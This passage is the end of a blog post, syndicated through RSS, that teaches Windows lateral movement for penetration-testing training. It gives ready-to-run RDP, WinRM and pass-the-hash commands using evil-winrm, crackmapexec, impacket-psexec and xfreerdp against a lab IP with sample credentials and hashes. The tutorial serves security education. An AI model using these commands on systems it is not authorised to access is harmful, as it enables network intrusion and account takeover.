passwords.txt rdp://172.16.1.10</pre><p>When you find a valid account you can then log in remotely using a tool like xfreerdp:</p><pre>xfreerdp /v:172.16.1.10 /u:administrator /p:&#39;MyPassword123!&#39;</pre><p>Boom! Easy peasy.</p><h3>Windows Remote Management (WinRM)</h3><p>WinRM is the last method we’ll look at to obtain a remote session. Here’s what’s required for this to work:</p><ul><li>Either port 5985 or 5986 must be open (communication over HTTP or HTTPS, respectively)</li><li>The account must be part of the <strong>Remote Management Users</strong> group</li></ul><p>You can think of WinRM as creating a remote PowerShell session on a target host. What’s great about this is that even if you don’t have admin privileges (meaning you can’t use PSExec) or you aren’t part of the Remote Desktop Users group, you may <strong><em>still</em></strong> be able to get a remote shell with WinRM. This service is installed by default on most versions of Windows Server, so it is a common path for lateral movement.</p><p>We can use a tool called evil-winrm on our Linux attack box to create a remote session (remember, this will essentially give us a PowerShell terminal):</p><pre>evil-winrm -i 172.16.1.10 -u administrator -p &#39;MyPassword123!&#39;</pre><p>From a Windows machine, we have a couple of different options:</p><pre># From command prompt<br>winrs.exe -u:administrator -p:MyPassword123! -r:target_hostname cmd</pre><pre># From PowerShell<br>$username = &#39;administrator&#39;;<br>$password = &#39;MyPassword123!&#39;;<br>$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; <br>$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;<br># Now enter a PowerShell session<br>Enter-PSSession -Computername TARGET -Credential $credential</pre><h3>But what about the hashes??</h3><p>Up until this point, we’ve been using a password that we were able to crack to move laterally. But remember we also recovered some hashes from the web server that we weren’t able to crack. Luckily for us we can use these hashes in a <strong>Pass-the-Hash</strong> attack to move laterally with the same tools I just covered!</p><blockquote><strong>NOTE:</strong> For most of these tools all you need is the NTLM hash, however when using impacket’s tools like PSExec you need both the LM and NTLM hash.</blockquote><p>Here’s an example of passing-the-hash using the tools already mentioned:</p><pre># Lateral movement with SMB<br>crackmapexec smb 172.16.1.10 -u administrator -H a738f92b3c08b424ec2d99589a9cce60<br>impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@172.16.1.10<br><br># RDP<br>xfreerdp /v:172.16.1.10 /u:administrator /pth:a738f92b3c08b424ec2d99589a9cce60<br><br># WinRM<br>evil-winrm -i 172.16.1.10 -u administrator -H a738f92b3c08b424ec2d99589a9cce60</pre><p><strong>Just remember that you can only pass-the-hash with NTLM hashes, NOT NetNTLMv2 hashes (the kind of hash you get when running Responder).</strong> I’ll write another blog post going into those distinctions, but for now, we’re all done!</p><h3>Next Steps</h3><p>Like I mentioned earlier, this just scratches the surface on the different techniques you can use to move laterally in a Windows domain environment. If you want more details about lateral movement, I would highly recommend checking out the <a href="https://tryhackme.com/room/lateralmovementandpivoting">Lateral Movement and Pivoting</a> room in TryHackMe. I’ll also be writing more and more blog posts that go into detail about some of the topics brought up here (including things I had to completely leave out).</p><p>I hope you found this helpful in some way! If you’d like to reach out to me you can send me a message on <a href="https://www.linkedin.com/in/keith-monroe/">LinkedIn</a> or reach me on Discord (boxalarm#1057). Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a247b01a480" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>